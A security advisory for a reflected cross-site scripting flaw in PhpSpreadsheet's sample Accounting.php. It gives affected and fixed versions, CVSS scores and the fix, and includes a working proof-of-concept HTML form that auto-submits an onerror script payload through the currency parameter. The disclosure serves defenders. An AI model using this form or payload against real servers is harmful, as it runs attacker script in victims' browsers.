PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file
Published 3 Jan 2025 · Updated 6 Mar 2025
Affected packages
- Affected
- >=3.0.0 <3.7.0
- Fixed in
- 3.7.0
composer require phpoffice/phpspreadsheet:^3.7.0- Affected
- <1.29.7
- Fixed in
- 1.29.7
composer require phpoffice/phpspreadsheet:^1.29.7- Affected
- >=2.0.0 <2.1.6
- Fixed in
- 2.1.6
composer require phpoffice/phpspreadsheet:^2.1.6- Affected
- >=2.2.0 <2.3.5
- Fixed in
- 2.3.5
composer require phpoffice/phpspreadsheet:^2.3.5- Affected
- <=1.8.2
- Fixed in
- No fix released
Details
Unauthorized Reflected XSS in the Accounting.php file
Product: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php script, an attacker can perform a XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the currency variable
Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Accounting.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file, which leads to the possibility of a XSS attack.
Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.
!fig7
*Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization*
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
*Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability*
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST">
<input type="hidden" name="number" value="1234.5678" />
<input type="hidden" name="currency" value="$<img src=1 onerror=alert()>" />
<input type="hidden" name="decimals" value="2" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="spacing" value="0" />
<input type="hidden" name="submit" value="Display Mask" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.
<img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" />
*Figure 8. Executing arbitrary JavaScript code*
Credit
This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Is GHSA-c6fv-7vh8-2rhr in any of your client repos?
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References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.